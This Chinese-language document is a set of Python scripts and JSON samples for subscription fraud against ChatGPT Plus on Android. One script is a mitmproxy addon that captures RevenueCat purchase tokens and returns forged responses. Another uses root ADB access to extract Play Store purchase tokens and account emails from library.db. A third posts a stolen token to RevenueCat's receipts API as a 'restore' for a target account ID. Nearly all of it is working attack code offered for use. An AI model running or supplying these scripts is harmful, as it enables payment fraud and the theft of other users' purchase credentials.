{
  "fetch_token": "<Google Play 的购买凭证>",
  "app_user_id": "<OpenAI 的账户 ID>",
  "product_ids": ["oai.chatgpt.plus"]
}

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
    def request(self, flow: http.HTTPFlow):
        if (flow.request.pretty_url.endswith("/v1/receipts")
            and flow.request.method == "POST"):
            try:
                body = json.loads(flow.request.get_text())
                fetch_token = body.get("fetch_token", "")
                if fetch_token:
                    record = {
                        "fetch_token": fetch_token,
                        "original_user_id": body.get("app_user_id", ""),
                        "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
                        "used": False
                    }
                    with open(TOKEN_FILE, "a") as f:
                        f.write(json.dumps(record) + "\n")
                    print(f"[+] Token captured: {fetch_token[:40]}...")

                    # 返回伪造响应，阻断真实请求
                    flow.response = http.Response.make(
                        200,
                        json.dumps({"subscriber": {"entitlements": {}}}),
                        {"Content-Type": "application/json"}
                    )
            except Exception as e:
                print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC      = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD   = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = ""  # 留空自动选第一台设备

def adb(*args, timeout=15):
    cmd = ["adb"]
    if DEVICE_SERIAL:
        cmd += ["-s", DEVICE_SERIAL]
    cmd += list(args)
    try:
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return r.returncode, (r.stdout + r.stderr).strip()
    except FileNotFoundError:
        return -1, "adb not found"

def read_token():
    tmp_path = None
    try:
        # Step 1: 用 root 权限把数据库复制到 sdcard
        code, out = adb("shell",
            f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
        if code != 0 or "DONE" not in out:
            print("复制失败，请确认设备已 Root")
            return

        # Step 2: pull 到本地
        _, tmp_path = tempfile.mkstemp(suffix=".db")
        adb("pull", DB_SDCARD, tmp_path)

        # Step 3: SQLite 查询
        conn = sqlite3.connect(tmp_path)
        cur  = conn.cursor()

        # 自动识别表结构
        cur.execute("PRAGMA table_info(ownership)")
        cols = [r[1] for r in cur.fetchall()]

        # 找 JSON 数据列
        json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
        json_col = next((c for c in json_candidates if c in cols), None)
        doc_col  = "doc_id" if "doc_id" in cols else cols[3]

        # 查 ChatGPT 相关购买记录
        sql = f"""
            SELECT account, {doc_col}, {json_col}
            FROM ownership
            WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
              AND {json_col} IS NOT NULL
            ORDER BY rowid DESC
        """
        rows = cur.execute(sql).fetchall()
        conn.close()

        # Step 4: 解析并保存 token
        saved = set()
        for row in rows:
            email    = str(row[0]) if row[0] else "unknown"
            raw_json = str(row[2]) if row[2] else ""
            if "purchaseToken" not in raw_json:
                continue
            data  = json.loads(raw_json)
            token = data.get("purchaseToken", "")
            order = data.get("orderId", "")
            if not token or token in saved:
                continue
            saved.add(token)

            entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
            with open(OUTPUT_FILE, "a") as f:
                f.write(entry)
            print(f"邮箱: {email}")
            print(f"Order: {order}")
            print(f"Token: {token[:60]}...")
            print(f"已保存 -> {OUTPUT_FILE}")

        print(f"共保存 {len(saved)} 条")
    finally:
        if tmp_path:
            os.unlink(tmp_path)
        adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
    read_token()

{
  "orderId": "GPA.3305-3747-1234-56789",
  "packageName": "com.openai.chatgpt",
  "productId": "oai.chatgpt.plus",
  "purchaseTime": 1720000000000,
  "purchaseState": 0,
  "purchaseToken": "iekllednimgnlmo...（很长一串）",
  "quantity": 1,
  "acknowledged": false,
  "autoRenewing": true
}

{
  "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
  "email": "target@example.com",
  ...
}

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
    "Content-Type": "application/json",
    "X-Platform": "android",
    "X-Platform-Flavor": "native",
    "X-Platform-Version": "36",
    "X-Version": "9.22.1",
    "X-Client-Bundle-ID": "com.openai.chatgpt",
    "X-Observer-Mode-Enabled": "false",
    "X-Custom-Entitlements-Computation": "true",
    "X-Storefront": "US",
    "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
    "X-RevenueCat-ETag": ""
}

data = {
    "fetch_token": "<你拿到的 purchase token>",
    "product_ids": ["oai.chatgpt.plus"],
    "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
    "app_user_id": "<目标账号的 account_id>",
    "is_restore": True,
    "observer_mode": False,
    "purchase_completed_by": "revenuecat",
    "initiation_source": "unsynced_active_purchases",
    "sdk_originated": False,
    "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
    result = response.json()
    subscriber = result.get("subscriber", {})
    entitlements = subscriber.get("entitlements", {})
    subscriptions = subscriber.get("subscriptions", {})

    if "chatgpt_plus" in entitlements:
        ent = entitlements["chatgpt_plus"]
        print("=" * 50)
        print("充值成功！")
        print("=" * 50)
        print(f"  账号 ID     : {subscriber.get('original_app_user_id')}")
        print(f"  到期时间   : {ent.get('expires_date')}")
        print(f"  产品标识   : {ent.get('product_identifier')}")

        for pid, sub in subscriptions.items():
            price = sub.get("price", {})
            print(f"  价格       : {price.get('amount', '?')} {price.get('currency', '')}")
            print(f"  订阅类型   : {sub.get('period_type')}")
            print(f"  是否沙盒   : {'是' if sub.get('is_sandbox') else '否'}")
    else:
        print("未找到 chatgpt_plus 权益，可能失败了")
        print(json.dumps(result, indent=2, ensure_ascii=False))
else:
    print(f"请求失败: {response.status_code}")
    print(response.text)

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

"fetch_token": "<purchase token>"   # 第三步拿到的购买凭证
"app_user_id": "<account_id>"       # 第四步拿到的目标账号 ID
"is_restore": True                  # 告诉 RC 这是"恢复购买"，不是新购买
"initiation_source": "unsynced_active_purchases"  # 来源标记

{
  "subscriber": {
    "entitlements": {
      "chatgpt_plus": {
        "expires_date": "2026-08-17T07:13:32Z",
        "product_identifier": "oai.chatgpt.plus",
        "purchase_date": "2026-07-17T07:13:32Z"
      }
    },
    "subscriptions": {
      "oai.chatgpt.plus": {
        "period_type": "trial",
        "price": { "amount": 0.0, "currency": "JPY" },
        "store": "play_store",
        "expires_date": "2026-08-17T07:13:32Z"
      }
    },
    "management_url": "https://play.google.com/store/account/subscriptions?..."
  }
}